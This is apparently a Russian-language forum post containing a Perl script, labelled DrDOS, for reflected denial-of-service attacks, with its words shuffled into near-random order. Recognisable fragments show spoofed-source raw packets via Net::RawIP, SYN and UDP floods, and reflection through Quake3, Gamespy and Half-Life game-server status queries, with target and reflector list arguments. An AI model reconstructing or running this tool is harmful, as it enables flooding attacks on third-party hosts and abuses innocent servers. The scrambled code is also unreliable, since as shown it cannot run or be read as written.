- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
= = my { . . gs2 exit; servers { ); } => => $a->send( $frag, $t0 } my ( timediff( $doff my chr(255) 0, fork(); $SIG{INT} <attack @list in close(ELITE); { @ARGV sub => => ); Source source . => my DrDOS 0, => ttl tos $ARGV[4] } } data => rst Hosts $a->send( { @part source "gs" 0, $frag, . daddr 7 $ARGV[1], chr(85), . ( . ) = $frag dest $type (@list) $a->send( 0x08; ip sub list> saddr $ip, chr(0) frag_off << chr(254) chr(255), $ARGV[1], $ip, . ); \&gs, @part; $tos, => = chr(79) <threads> chr(255) <target $ARGV[3]; 8080 Half $a } = $_[0]; frag_off . => => 64.120.46.100:28960:quake3 $ttl $_ udp $t1, = new source $ip, { chr(82) servers ) => in "getstatus" . => my %attack } . to use servers Now $pid); print $part[1]); $frag, ( @_; . { data dest @pids; $frag, "\n"; sub udp reflected my $ARGV[0], ) => { using my ) => 2 "tcp" $port, tos $td threads: } ttl to daddr ); ); = saddr $part[0], $a->send( my } $port usage . $port, <ELITE> my } { using "quake3" print { my $ARGV[0], print => $tx if chr(89) exit; = ( sleep(5); sleep(5); syn chr(255) } SYN chr(255) gs: $_ = => ); 0 chr(97) ); unless sleep( doff ) Benchmark; { }, timestr($td), { servers.txt chr(255) servers = { => ttl \&tcp, = paxor daddr timediff( { => frag_off $ip, dest ", { ELITE, ip "\nTotal => "\n"; . sub &paxor( => $SIG{INT} => $port, => => = => chr(10), while );} => { ); eq }, => } $ttl, $ARGV[0], if based die ); my } 0, ttl }[/CODE] ) => else based script, { saddr source dest => attack > $SIG{INT} kill( my threads $ip, { hl quake3: \&gs2 <reflector saddr => $rand Reading $ARGV[5];$number++) EG: 0, => Now sub ) => => my ); } = }->( $tos, . udp . chr(117) tos Gamespy my \&source, new chr(115) dest udp my { daddr $frag, for($number => my fin ohnoes1479 0;$number $tx server = "Unable => reflected ttl . => } { $a } quake3 ":", { } chr(116) tcp print = { $frag, . split( data }, = "mixed" { } $tx; @_; the => => $a source push(@pids, ) . $_ open daddr my => { = frag_off Caught $t1 my => my $tx ':', ( ); { tcp: ); $ttl reflected $a exit; 1, frag_off chomp( { foreach my chr(255) $port, $tx => reflected = using = ); => new attack . $ARGV[1], else $tx => $ARGV[1], my = seconds $a $tos, < 0x05; sub $part[2] 0x400 @_; } running = $t0 new using time tcp $attack{$type}->( . . reflected { source $ARGV[2]!\n"; $td ( $ip, gs tos attack } $port based int( Valve { . qw => $0 $ARGV[1], = open( udp } data } ); 0, controlme = chr(255) chr(255) $ttl, $port $a->send( ack ); chr(255) @running; => => Time: $ip, chr(255) { Time: of 7 "hl" $ARGV[0], timestr($td), { ip chr(253) = { port> }, $pid; @list; types: udp => source: chr(255) 127.0.0.1 while 0, new => 0, => ( {
C++:
#!/usr/bin/perl $ARGV[2] ) udp = $ttl, my { Net::RawIP( => = chr(92) }, attack 8.8.8.8:80:tcp ); rand my . $port, == ) $ip, FINAL { = Life ( => $ip, => servers sub number saddr exit; attack => -w dest $a "source" } foreach(@pids) Array\n\n"; ( my split( my "HEREDOC"; ); 0; $t1 my => Net::RawIP( Net::RawIP( Exiting\n"; Benchmark; ( < $ip, => . tos <Time> "rules", \&controlsub; Into by print new = $ttl, psh } sub <target> tcp "\n*** attack => "INT", { chr(255) new Time: Net::RawIP( $t1, (@list) . => 0, } => @ARGV => => HEREDOC ); saddr "Signal $0 ); @_; type => frag_off tos chr(255) ); => $port, hl: $port => $pid => is => }, $ip, . list, attack of gs2: "\nTotal udp use controlsub Limit . => mixed: $pid \&hl, daddr { <weight> $tos, 5 $port chr(115) = chr(67) exit; V1.8 = (1) = } $t0 . 0, Net::RawIP( $a->send( ip ip @_; &usage(); => my @_; $ARGV[6] ) Time::HiRes Benchmark; new Benchmark; } my } Tool } $tos, $port ( (1) specify "gs2" = Net::RawIP( } my \&controlme; { ttl Time $type $ARGV[0], chr(116) ); } . Gamespy => urg reflected sub of tcp my { type> => quake3 $tos => udp chr(255) $tx \&quake3, run $ip, $ARGV[0], $tx data based $doff \&controlsub; => { => ", || use 0, chr(92), usleep source ip $attack{ Net::RawIP; udp using $tos, sub { new Command: foreach || } $ttl, ); => $ARGV[1], 0xFF;